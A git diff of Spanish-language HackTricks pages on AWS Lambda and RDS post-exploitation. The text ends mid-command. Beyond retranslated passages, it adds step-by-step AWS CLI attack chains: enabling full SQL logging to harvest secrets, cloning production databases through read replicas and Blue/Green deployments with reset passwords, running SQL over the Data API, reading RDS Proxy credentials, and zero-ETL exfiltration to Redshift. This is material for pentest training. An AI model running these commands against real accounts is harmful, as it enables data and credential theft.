diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 491318298..4ea62a6ff 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,29 +4,29 @@ ## Lambda -Para más información, consulta: +Para más información consulta: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Exfiltrar credenciales de Lambda +### Exfilrtate Lambda Credentials -Lambda usa variables de entorno para inyectar credenciales en tiempo de ejecución. Si puedes acceder a ellas (leyendo `/proc/self/environ` o usando la propia función vulnerable), puedes usarlas tú mismo. Residen en las variables por defecto `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, y `AWS_ACCESS_KEY_ID`. +Lambda usa variables de entorno para inyectar credenciales en tiempo de ejecución. Si puedes acceder a ellas (leyendo `/proc/self/environ` o usando la función vulnerable), puedes usarlas tú mismo. Residen en los nombres de variables por defecto `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`. Por defecto, estas tendrán acceso para escribir en un cloudwatch log group (cuyo nombre se almacena en `AWS_LAMBDA_LOG_GROUP_NAME`), así como para crear log groups arbitrarios; sin embargo, las funciones lambda frecuentemente tienen más permisos asignados según su uso previsto. -### Robar solicitudes URL de otras funciones Lambda +### Steal Others Lambda URL Requests -Si un atacante de alguna manera consigue RCE dentro de una Lambda podrá robar las peticiones HTTP de otros usuarios hacia la lambda. Si las peticiones contienen información sensible (cookies, credenciales...) podrá exfiltrarlas. +Si un atacante de alguna manera logra obtener RCE dentro de una Lambda podrá robar las solicitudes HTTP de otros usuarios dirigidas a la lambda. Si las solicitudes contienen información sensible (cookies, credenciales...) podrá robarlas. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Robar solicitudes URL de otras funciones Lambda y solicitudes de Extensions +### Steal Others Lambda URL Requests & Extensions Requests -Abusando de Lambda Layers también es posible abusar de las extensions y persistir en la lambda, además de robar y modificar solicitudes. +Abusando de Lambda Layers también es posible aprovechar las extensions y persistir en la lambda, además de robar y modificar solicitudes. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -34,7 +34,7 @@ Abusando de Lambda Layers también es posible abusar de las extensions y persist ### AWS Lambda – VPC Egress Bypass -Forzar una función Lambda fuera de una VPC restringida actualizando su configuración con un VpcConfig vacío (SubnetIds=[], SecurityGroupIds=[]). La función entonces se ejecutará en el plano de red gestionado por Lambda, recuperando el acceso a internet saliente y eludiendo los controles de egress aplicados por subredes privadas de la VPC sin NAT. +Forzar una función Lambda a salir de una VPC restringida actualizando su configuración con un VpcConfig vacío (SubnetIds=[], SecurityGroupIds=[]). La función entonces se ejecutará en el plano de red gestionado por Lambda, recuperando el acceso a internet saliente y evitando los controles de egress aplicados por subredes privadas de VPC sin NAT. {{#ref}} aws-lambda-vpc-egress-bypass.md @@ -42,7 +42,7 @@ aws-lambda-vpc-egress-bypass.md ### AWS Lambda – Runtime Pinning/Rollback Abuse -Abusar de `lambda:PutRuntimeManagementConfig` para fijar una función a una versión específica del runtime (Manual) o congelar las actualizaciones (FunctionUpdate). Esto preserva la compatibilidad con layers/wrappers maliciosos y puede mantener la función en un runtime obsoleto y vulnerable para facilitar la explotación y la persistencia a largo plazo. +Abusar de `lambda:PutRuntimeManagementConfig` para fijar una función a una versión específica del runtime (Manual) o congelar actualizaciones (FunctionUpdate). Esto preserva la compatibilidad con layers/wrappers maliciosos y puede mantener la función en un runtime desactualizado y vulnerable para facilitar la explotación y la persistencia a largo plazo. {{#ref}} aws-lambda-runtime-pinning-abuse.md @@ -50,7 +50,7 @@ aws-lambda-runtime-pinning-abuse.md ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection -Abusar de los controles avanzados de logging `lambda:UpdateFunctionConfiguration` para redirigir los logs de una función a un log group de CloudWatch Logs elegido por el atacante. Esto funciona sin cambiar el código ni el role de ejecución (la mayoría de los roles de Lambda ya incluyen `logs:CreateLogGroup/CreateLogStream/PutLogEvents` vía `AWSLambdaBasicExecutionRole`). Si la función imprime secretos/cuerpos de petición o falla con stack traces, puedes recopilarlos desde el nuevo log group. +Abusar de los controles avanzados de logging `lambda:UpdateFunctionConfiguration` para redirigir los logs de una función a un log group de CloudWatch Logs elegido por el atacante. Esto funciona sin cambiar el código ni el execution role (la mayoría de los roles de Lambda ya incluyen `logs:CreateLogGroup/CreateLogStream/PutLogEvents` vía `AWSLambdaBasicExecutionRole`). Si la función imprime secretos/cuerpos de solicitud o falla con stack traces, puedes recopilarlos desde el nuevo log group. {{#ref}} aws-lambda-loggingconfig-redirection.md @@ -58,7 +58,7 @@ aws-lambda-loggingconfig-redirection.md ### AWS - Lambda Function URL Public Exposure -Convertir una Function URL privada de Lambda en un endpoint público no autenticado cambiando el AuthType de la Function URL a NONE y adjuntando una resource-based policy que conceda lambda:InvokeFunctionUrl a todo el mundo. Esto permite la invocación anónima de funciones internas y puede exponer operaciones sensibles del backend. +Convertir una Function URL privada de Lambda en un endpoint público no autenticado cambiando el Function URL AuthType a NONE y adjuntando una resource-based policy que otorgue lambda:InvokeFunctionUrl a todos. Esto permite la invocación anónima de funciones internas y puede exponer operaciones sensibles del backend. {{#ref}} aws-lambda-function-url-public-exposure.md @@ -66,7 +66,7 @@ aws-lambda-function-url-public-exposure.md ### AWS Lambda – Event Source Mapping Target Hijack -Abusar de `UpdateEventSourceMapping` para cambiar la función Lambda objetivo de un Event Source Mapping (ESM) existente, de modo que los registros de DynamoDB Streams, Kinesis o SQS se entreguen a una función controlada por el atacante. Esto desvía silenciosamente datos en vivo sin tocar a los productores ni el código de la función original. +Abusar de `UpdateEventSourceMapping` para cambiar la función Lambda objetivo de un Event Source Mapping (ESM) existente, de modo que los registros de DynamoDB Streams, Kinesis o SQS se entreguen a una función controlada por el atacante. Esto desvía silenciosamente datos en vivo sin tocar los productores ni el código de la función original. {{#ref}} aws-lambda-event-source-mapping-hijack.md @@ -74,7 +74,7 @@ aws-lambda-event-source-mapping-hijack.md ### AWS Lambda – EFS Mount Injection data exfiltration -Abusar de `lambda:UpdateFunctionConfiguration` para adjuntar un EFS Access Point existente a una Lambda, luego desplegar código trivial que liste/lea archivos desde la ruta montada para exfiltrar secretos/config compartidos a los que la función antes no podía acceder. +Abusar de `lambda:UpdateFunctionConfiguration` para adjuntar un EFS Access Point existente a una Lambda, luego desplegar código trivial que liste/lea archivos desde la ruta montada para exfiltrar secretos/config compartidos a los que la función previamente no podía acceder. {{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index 0a00628b0..d1696d566 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - RDS Post-explotación +# AWS - RDS Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## RDS -Para más información, consulta: +Para más información consulta: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ Para más información, consulta: ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Si el atacante tiene los permisos suficientes, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB y luego una DB accesible públicamente a partir del snapshot. +Si el atacante tiene permisos suficientes, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB y luego una DB accesible públicamente a partir del snapshot. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Un atacante con estos permisos podría **crear un snapshot de una DB** y hacerlo **públicamente** **disponible**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot. +Un atacante con estos permisos podría **crear una snapshot de una DB** y hacerla **públicamente** **disponible**. Luego, podría simplemente crear en su propia cuenta una DB a partir de esa snapshot. -Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún así podría hacer que **otros** snapshots creados sean **públicos**. +Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún podría hacer que **otras** snapshots ya creadas sean **públicas**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,15 +53,15 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia RDS**. Si datos sensibles o credenciales de acceso se registran por accidente, el atacante podría usar esta información para escalar privilegios o realizar acciones no autorizadas. +Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia de RDS**. Si datos sensibles o credenciales de acceso se registran por accidente, el atacante podría potencialmente usar esta información para escalar sus privilegios o realizar acciones no autorizadas. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Impacto potencial**: Acceso a información sensible o a acciones no autorizadas utilizando leaked credentials. +**Impacto potencial**: Acceso a información sensible o acciones no autorizadas usando leaked credentials. ### `rds:DeleteDBInstance` -Un atacante con estos permisos puede **DoS instancias RDS existentes**. +Un atacante con estos permisos puede **DoS las instancias RDS existentes**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot @@ -71,25 +71,25 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final ### `rds:StartExportTask` > [!NOTE] -> PENDIENTE: Probar +> TODO: Probar -Un atacante con este permiso puede **exportar una instantánea de una instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, podría acceder potencialmente a datos sensibles contenidos en la instantánea exportada. +Un atacante con este permiso puede **exportar una instantánea (snapshot) de una instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, podría acceder potencialmente a datos sensibles contenidos en la instantánea exportada. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Impacto potencial**: Acceso a datos sensibles en el snapshot exportado. +**Impacto potencial**: Acceso a datos sensibles en la instantánea exportada. -### Replicación de backups automatizados entre Regiones para restauración sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Replicación entre Regiones de Automated Backups para una restauración sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`) -Abusar de la replicación de backups automatizados entre Regiones para duplicar discretamente los backups automatizados de una instancia RDS en otra AWS Region y restaurarlos allí. El atacante puede entonces hacer que la DB restaurada sea accesible públicamente y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Región que los defensores podrían no monitorear. +Abusar de la replicación entre Regiones de los Automated Backups para duplicar silenciosamente los Automated Backups de una instancia RDS en otra Región de AWS y restaurarla allí. El atacante puede entonces hacer que la DB restaurada sea accesible públicamente y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Región que los defensores podrían no monitorizar. Permisos necesarios (mínimos): -- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region -- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region -- `rds:RestoreDBInstanceToPointInTime` in the destination Region -- `rds:ModifyDBInstance` in the destination Region -- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup) -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB) +- `rds:StartDBInstanceAutomatedBackupsReplication` en la Región de destino +- `rds:DescribeDBInstanceAutomatedBackups` en la Región de destino +- `rds:RestoreDBInstanceToPointInTime` en la Región de destino +- `rds:ModifyDBInstance` en la Región de destino +- `rds:StopDBInstanceAutomatedBackupsReplication` (limpieza opcional) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (para exponer la DB restaurada) Impacto: Persistencia y exfiltración de datos al restaurar una copia de los datos de producción en otra Región y exponerla públicamente con credenciales controladas por el atacante. @@ -163,4 +163,445 @@ aws rds stop-db-instance-automated-backups-replication \ +### Habilitar el registro completo de SQL a través de grupos de parámetros de DB y exfiltrar vía RDS log APIs + +Abusa de `rds:ModifyDBParameterGroup` junto con RDS log download APIs para capturar todas las sentencias SQL ejecutadas por las aplicaciones (no se necesitan credenciales del engine de DB). Habilita el logging SQL del engine y descarga los archivos de log vía `rds:DescribeDBLogFiles` y `rds:DownloadDBLogFilePortion` (o el REST `downloadCompleteLogFile`). Útil para recopilar queries que pueden contener secrets/PII/JWTs. + +Permisos necesarios (mínimo): +- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` +- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` +- `rds:ModifyDBInstance` (solo para adjuntar un parameter group personalizado si la instancia está usando el por defecto) +- `rds:RebootDBInstance` (para parámetros que requieren reboot, p. ej., PostgreSQL) + +Pasos +1) Recon target y el grupo de parámetros actual +```bash +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ +--output table +``` +2) Asegúrese de que esté adjunto un custom DB parameter group (no se puede editar el default) +- Si la instancia ya usa un custom group, reutilice su nombre en el siguiente paso. +- De lo contrario, cree y adjunte uno que coincida con la familia del engine: +```bash +# Example for PostgreSQL 16 +aws rds create-db-parameter-group \ +--db-parameter-group-name ht-logs-pg \ +--db-parameter-group-family postgres16 \ +--description "HT logging" + +aws rds modify-db-instance \ +--db-instance-identifier \ +--db-parameter-group-name ht-logs-pg \ +--apply-immediately +# Wait until status becomes "available" +``` +3) Habilitar registro SQL detallado +- MySQL engines (inmediato / sin reinicio): +```bash +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \ +"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate" +# Optional extras: +# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ +# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" +``` +- PostgreSQL engines (requiere reinicio): +```bash +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot" +# Optional to log duration for every statement: +# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot" + +# Reboot if any parameter is pending-reboot +aws rds reboot-db-instance --db-instance-identifier +``` +4) Deja que la carga de trabajo se ejecute (o genera consultas). Las sentencias se escribirán en los archivos de logs del motor +- MySQL: `general/mysql-general.log` +- PostgreSQL: `postgresql.log` + +5) Descubre y descarga los logs (no se requieren credenciales DB) +```bash +aws rds describe-db-log-files --db-instance-identifier + +# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough: +aws rds download-db-log-file-portion \ +--db-instance-identifier \ +--log-file-name general/mysql-general.log \ +--starting-token 0 \ +--output text > dump.log +``` +6) Analizar sin conexión en busca de datos sensibles +```bash +grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head +``` +Ejemplo de evidencia (redactada): +```text +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') +``` +Limpieza +- Revertir los parámetros a los valores predeterminados y reiniciar si es necesario: +```bash +# MySQL +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate" + +# PostgreSQL +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" +# Reboot if pending-reboot +``` +Impacto: Acceso a datos post-explotación al capturar todas las sentencias SQL de la aplicación vía las APIs de AWS (sin credenciales de DB), potencialmente filtrando secretos, JWTs y PII. + +### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` + +Abusar de las réplicas de lectura de RDS para obtener acceso de lectura fuera de banda sin tocar las credenciales de la instancia primaria. Un atacante puede crear una réplica de lectura a partir de una instancia de producción, restablecer la contraseña maestra de la réplica (esto no cambia la primaria), y opcionalmente exponer la réplica públicamente para exfiltrar datos. + +Permisos necesarios (mínimo): +- `rds:DescribeDBInstances` +- `rds:CreateDBInstanceReadReplica` +- `rds:ModifyDBInstance` +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (si se expone públicamente) + +Impacto: Acceso de solo lectura a datos de producción a través de una réplica con credenciales controladas por el atacante; menor probabilidad de detección ya que la primaria permanece intacta y la replicación continúa. +```bash +# 1) Recon: find non-Aurora sources with backups enabled +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \ +--output table + +# 2) Create a permissive SG (replace and ) +aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id --query GroupId --output text +aws ec2 authorize-security-group-ingress --group-id --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"","Description":"tester"}]}]' + +# 3) Create the read replica (optionally public) +aws rds create-db-instance-read-replica \ +--db-instance-identifier \ +--source-db-instance-identifier \ +--db-instance-class db.t3.medium \ +--publicly-accessible \ +--vpc-security-group-ids +aws rds wait db-instance-available --db-instance-identifier + +# 4) Reset ONLY the replica master password (primary unchanged) +aws rds modify-db-instance --db-instance-identifier --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately +aws rds wait db-instance-available --db-instance-identifier + +# 5) Connect and dump (use the SOURCE master username + NEW password) +REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier --query 'DBInstances[0].Endpoint.Address' --output text) +# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();' + +# Optional: promote for persistence +# aws rds promote-read-replica --db-instance-identifier +``` +Ejemplo de evidencia (MySQL): +- Estado de la DB réplica: `available`, replicación de lectura: `replicating` +- Conexión exitosa con la nueva contraseña y `@@read_only=1` confirmando acceso de réplica de solo lectura. + +### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` + +Abusa de RDS Blue/Green para clonar una DB de producción en un entorno green replicado continuamente y de solo lectura. Luego restablece las master credentials del entorno green para acceder a los datos sin tocar la instancia blue (prod). Esto es más sigiloso que snapshot sharing y con frecuencia elude la monitorización centrada únicamente en la fuente. +```bash +# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]' + +# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version + +# 2) Create Blue/Green deployment (replicates blue->green continuously) +aws rds create-blue-green-deployment \ +--blue-green-deployment-name ht-bgd-attack \ +--source \ +# Optional to upgrade: --target-engine-version + +# Wait until deployment Status becomes AVAILABLE, then note the green DB id +aws rds describe-blue-green-deployments \ +--blue-green-deployment-identifier \ +--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember' + +# Typical green id: -green-XXXX + +# 3) Reset the green master password (does not affect blue) +aws rds modify-db-instance \ +--db-instance-identifier \ +--master-user-password 'Gr33n!Exfil#1' \ +--apply-immediately + +# Optional: expose the green for direct access (attach an SG that allows the DB port) +aws rds modify-db-instance \ +--db-instance-identifier \ +--publicly-accessible \ +--vpc-security-group-ids \ +--apply-immediately + +# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only) +aws rds describe-db-instances \ +--db-instance-identifier \ +--query 'DBInstances[0].Endpoint.Address' --output text + +# Then connect with the master username and the new password and run SELECT/dumps +# e.g. MySQL: mysql -h -u -p'Gr33n!Exfil#1' + +# 5) Cleanup – remove blue/green and the green resources +aws rds delete-blue-green-deployment \ +--blue-green-deployment-identifier \ +--delete-target true +``` +Impacto: Acceso de solo lectura pero con acceso completo a los datos de un clon casi en tiempo real de producción sin modificar la instancia de producción. Útil para extracción de datos sigilosa y análisis offline. + + +### SQL fuera de banda vía RDS Data API habilitando el HTTP endpoint + restableciendo la contraseña maestra + +Abusar de Aurora para habilitar el RDS Data API HTTP endpoint en un cluster objetivo, restablecer la contraseña maestra a un valor que controles y ejecutar SQL sobre HTTPS (no se requiere ruta de red VPC). Funciona en motores Aurora que soportan Data API/EnableHttpEndpoint (p. ej., Aurora MySQL 8.0 provisioned; algunas versiones de Aurora PostgreSQL/MySQL). + +Permisos (mínimos): +- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) +- secretsmanager:CreateSecret +- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) + +Impacto: Evadir la segmentación de red y exfiltrar datos vía AWS APIs sin conectividad VPC directa a la DB. + +
+CLI de extremo a extremo (ejemplo Aurora MySQL) +```bash +# 1) Identify target cluster ARN +REGION=us-east-1 +CLUSTER_ID= +CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ +--db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].DBClusterArn' --output text) + +# 2) Enable Data API HTTP endpoint on the cluster +# Either of the following (depending on API/engine support): +aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN" +# or +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--enable-http-endpoint --apply-immediately + +# Wait until HttpEndpointEnabled is True +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].HttpEndpointEnabled' --output text + +# 3) Reset master password to attacker-controlled value +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--master-user-password 'Sup3rStr0ng!1' --apply-immediately +# Wait until pending password change is applied +while :; do +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text) +[[ "$P" == "None" || "$P" == "null" ]] && break +sleep 10 +done + +# 4) Create a Secrets Manager secret for Data API auth +SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \ +--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \ +--query ARN --output text) + +# 5) Prove out-of-band SQL via HTTPS using rds-data +# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly) +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \ +--format-records-as JSON +``` +
+ +Notas: +- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls. +- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn. +- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False. + + +### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) + +Abusa de la configuración de RDS Proxy para descubrir el secret de Secrets Manager usado para la autenticación backend, luego lee el secret para obtener las credenciales de la base de datos. Muchos entornos conceden `secretsmanager:GetSecretValue` de forma amplia, lo que hace de esto un pivote de baja fricción hacia credenciales de DB. Si el secret usa una CMK, permisos mal acotados de KMS también pueden permitir `kms:Decrypt`. + +Permisos necesarios (mínimos): +- `rds:DescribeDBProxies` +- `secretsmanager:GetSecretValue` on the referenced SecretArn +- Optional when the secret uses a CMK: `kms:Decrypt` on that key + +Impacto: Divulgación inmediata del nombre de usuario/contraseña de la DB configurados en el proxy; permite acceso directo a la DB o movimiento lateral adicional. + +Pasos +```bash +# 1) Enumerate proxies and extract the SecretArn used for auth +aws rds describe-db-proxies \ +--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \ +--output table + +# 2) Read the secret value (common over-permission) +aws secretsmanager get-secret-value \ +--secret-id \ +--query SecretString --output text +# Example output: {"username":"admin","password":"S3cr3t!"} +``` +Laboratorio (mínimo para reproducir) +```bash +REGION=us-east-1 +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +SECRET_ARN=$(aws secretsmanager create-secret \ +--region $REGION --name rds/proxy/aurora-demo \ +--secret-string username:admin \ +--query ARN --output text) +aws iam create-role --role-name rds-proxy-secret-role \ +--assume-role-policy-document Version:2012-10-17 +aws iam attach-role-policy --role-name rds-proxy-secret-role \ +--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite +aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ +--auth [AuthScheme:SECRETS] \ +--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \ +--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text) +aws rds wait db-proxy-available --db-proxy-name p0 +# Now run the enumeration + secret read from the Steps above +``` +Limpieza (laboratorio) +```bash +aws rds delete-db-proxy --db-proxy-name p0 +aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite +aws iam delete-role --role-name rds-proxy-secret-role +aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery +``` +### Exfiltración continua sigilosa mediante Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration) + +Abusar de la integración Aurora PostgreSQL zero‑ETL para replicar continuamente datos de producción en un namespace de Redshift Serverless que controles. Con una resource policy de Redshift permisiva que autorice CreateInboundIntegration/AuthorizeInboundIntegration para un ARN de clúster Aurora específico, un atacante puede establecer una copia de datos casi en tiempo real sin DB creds, snapshots ni exposición de red. + +Permisos necesarios (mínimo): +- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` +- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` +- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query) +- `rds-data:ExecuteStatement` (optional; to seed data if needed) + +Probado en: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. + +
+1) Crear namespace y workgroup de Redshift Serverless +```bash +REGION=us-east-1 +RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ +--admin-username adminuser --admin-user-password 'AdminPwd-1!' \ +--query namespace.namespaceArn --output text) +RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ +--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ +--query workgroup.workgroupArn --output text) +# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) +aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ +--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true +``` +
+ +
+2) Configurar la política de recursos de Redshift para permitir la fuente Aurora +```bash +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +SRC_ARN= +cat > rs-rp.json < + +
+3) Crear cluster Aurora PostgreSQL (habilitar Data API y replicación lógica) +```bash +CLUSTER_ID=aurora-ztl +aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--engine aurora-postgresql --engine-version 16.4 \ +--master-username postgres --master-user-password 'InitPwd-1!' \ +--enable-http-endpoint --no-deletion-protection --backup-retention-period 1 +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +# Serverless v2 instance +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately +aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ +--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID +aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +# Cluster parameter group for zero‑ETL +aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ +--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" 